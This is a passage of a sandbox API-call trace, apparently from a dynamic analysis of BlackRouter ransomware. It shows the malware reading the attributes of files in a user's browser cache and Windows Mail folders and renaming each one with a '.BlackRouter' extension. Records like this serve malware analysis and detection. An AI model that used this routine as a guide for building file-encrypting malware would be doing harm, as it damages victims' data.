ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x860)) returned 1 [0068.753] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefac5[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefac5[1].jpg.blackrouter")) returned 1 [0068.754] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x197c [0068.764] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefgdi[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45510bf0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45510bf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf7f9270, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1980)) returned 1 [0068.764] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefgdi[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefgdi[1].jpg.blackrouter")) returned 1 [0068.765] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xb7e [0068.823] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefjut[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x456d9c70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x456d9c70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf8917f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb80)) returned 1 [0068.823] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefjut[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefjut[1].jpg.blackrouter")) returned 1 [0068.824] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1b14 [0068.834] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefkgi[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x457be4b0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x457be4b0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf8b7950, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1b20)) returned 1 [0068.835] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefkgi[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefkgi[1].jpg.blackrouter")) returned 1 [0068.835] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2978 [0068.844] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrka[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45915110, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45915110, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf8b7950, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2980)) returned 1 [0068.844] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrka[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrka[1].jpg.blackrouter")) returned 1 [0068.845] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2b6c [0068.848] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrwv[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4574c090, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4574c090, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf8ddab0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2b70)) returned 1 [0068.848] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrwv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrwv[1].jpg.blackrouter")) returned 1 [0068.849] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2676 [0068.852] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefwtu[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45478670, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45478670, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf8ddab0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2680)) returned 1 [0068.852] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefwtu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefwtu[1].jpg.blackrouter")) returned 1 [0068.853] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xb41 [0068.866] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefy4x[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45856a30, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45856a30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf903c10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb50)) returned 1 [0068.866] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefy4x[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefy4x[1].jpg.blackrouter")) returned 1 [0068.867] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x25f6 [0068.870] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegd9f[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45725f30, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45725f30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf903c10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2600)) returned 1 [0068.870] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegd9f[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegd9f[1].jpg.blackrouter")) returned 1 [0068.871] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x819 [0068.884] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegjfz[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45ab8030, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45ab8030, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf929d70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x820)) returned 1 [0068.884] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegjfz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegjfz[1].jpg.blackrouter")) returned 1 [0068.885] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x916 [0068.901] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegswa[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b2a450, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b2a450, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf94fed0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x920)) returned 1 [0068.901] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegswa[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegswa[1].jpg.blackrouter")) returned 1 [0068.902] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x918 [0068.913] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegx5g[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45725f30, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45725f30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf976030, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x920)) returned 1 [0068.913] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegx5g[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegx5g[1].jpg.blackrouter")) returned 1 [0068.914] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1fdaf [0068.921] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\benefits-1[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60cdb940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60cdb940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf976030, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1fdb0)) returned 1 [0068.921] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\benefits-1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\benefits-1[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\benefits-1[1].jpg.blackrouter")) returned 1 [0068.922] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x5244 [0068.935] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\eula-win[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64009240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x64009240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf99c190, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5250)) returned 1 [0068.935] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\eula-win[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\eula-win[1].jpg.blackrouter")) returned 1 [0068.938] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x269b2 [0068.954] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\css[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54e4ae90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54e4ae90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf9c22f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x269c0)) returned 1 [0068.954] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\css[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\css[1].txt.blackrouter")) returned 1 [0069.249] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x200000 [0069.469] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae5a0 | out: lpFileInformation=0x1ae5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xcfeab050, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x200010)) returned 1 [0069.469] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.log.blackrouter")) returned 1 [0069.470] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x200000 [0069.685] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae5a0 | out: lpFileInformation=0x1ae5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, 